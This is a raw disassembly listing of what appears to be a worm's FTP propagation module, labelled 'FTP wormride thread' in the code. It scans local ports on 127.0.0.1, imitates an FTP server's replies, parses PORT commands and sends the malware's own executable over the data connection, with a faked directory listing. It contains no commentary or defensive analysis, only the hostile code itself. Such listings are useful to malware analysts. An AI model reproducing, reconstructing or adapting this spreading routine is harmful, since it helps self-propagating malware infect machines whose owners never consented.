		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C

loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------

loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------

loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------

loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------

loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DF00
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF00
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0

loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D

loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------

loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
		mov	[ebp+var_51C], offset byte_41DF00

loc_411278:				; CODE XREF: sub_41113B+131j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		push	[ebp+var_528]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C6A0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4112FD
		mov	[ebp+var_4], 1
		push	offset dword_41C698
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4112FD:				; CODE XREF: sub_41113B+178j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C68C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41135D
		mov	[ebp+var_118], 1
		push	offset dword_41C684
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41135D:				; CODE XREF: sub_41113B+1D5j
		cmp	[ebp+var_4], 0
		jz	short loc_41136C
		cmp	[ebp+var_118], 0
		jnz	short loc_411371

loc_41136C:				; CODE XREF: sub_41113B+226j
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411371:				; CODE XREF: sub_41113B+22Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C678
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4113C7
		push	offset dword_41C670
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4113C7:				; CODE XREF: sub_41113B+249j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C664
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41141D
		push	offset dword_41C65C
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41141D:				; CODE XREF: sub_41113B+29Fj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C654
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_411473
		push	offset dword_41C648
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411473:				; CODE XREF: sub_41113B+2F5j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C63C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4114C9
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4114C9:				; CODE XREF: sub_41113B+34Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C628
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_41151F
		push	offset dword_41C620
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_41151F:				; CODE XREF: sub_41113B+3A1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C614
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411622
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_52C]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		lea	eax, [ebp+var_530]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_51C]
		call	sub_416BA2	; sscanf
		add	esp, 20h
		movzx	eax, [ebp+var_540]
		push	eax
		movzx	eax, [ebp+var_53C]
		push	eax
		movzx	eax, [ebp+var_538]
		push	eax
		movzx	eax, [ebp+var_530]
		push	eax
		push	offset dword_418A50
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 1Ch
		mov	eax, [ebp+var_52C]
		and	eax, 0FFh
		shl	eax, 8
		mov	ecx, [ebp+var_534]
		and	ecx, 0FFh
		or	eax, ecx
		push	eax
		push	offset dword_418A60
		push	6
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41C634
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411622:				; CODE XREF: sub_41113B+3F7j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5F4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_4116E9
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_548], eax
		cmp	[ebp+var_548], 0
		jnz	short loc_411660
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_411660:				; CODE XREF: sub_41113B+51Ej
		push	2
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_544], eax
		push	0
		push	0
		push	[ebp+var_548]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_548]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_544]
		push	offset dword_41C5E8
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_4116E9:				; CODE XREF: sub_41113B+4FAj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C5DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411873
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_54C], eax
		cmp	[ebp+var_54C], 0
		jz	short loc_411773
		cmp	[ebp+var_54C], 0FFFFFFFFh
		jnz	short loc_411778

loc_411773:				; CODE XREF: sub_41113B+62Dj
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_411778:				; CODE XREF: sub_41113B+636j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82	; fclose
		pop	ecx
		push	offset dword_41EBFC
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------

loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EBD8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------

loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------

loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch

loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F

loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5

loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------

loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F

loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------

loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------

loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------

loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------

loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------

loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx

loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------

loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------

loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx

loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------

loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------

loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------

loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------

loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
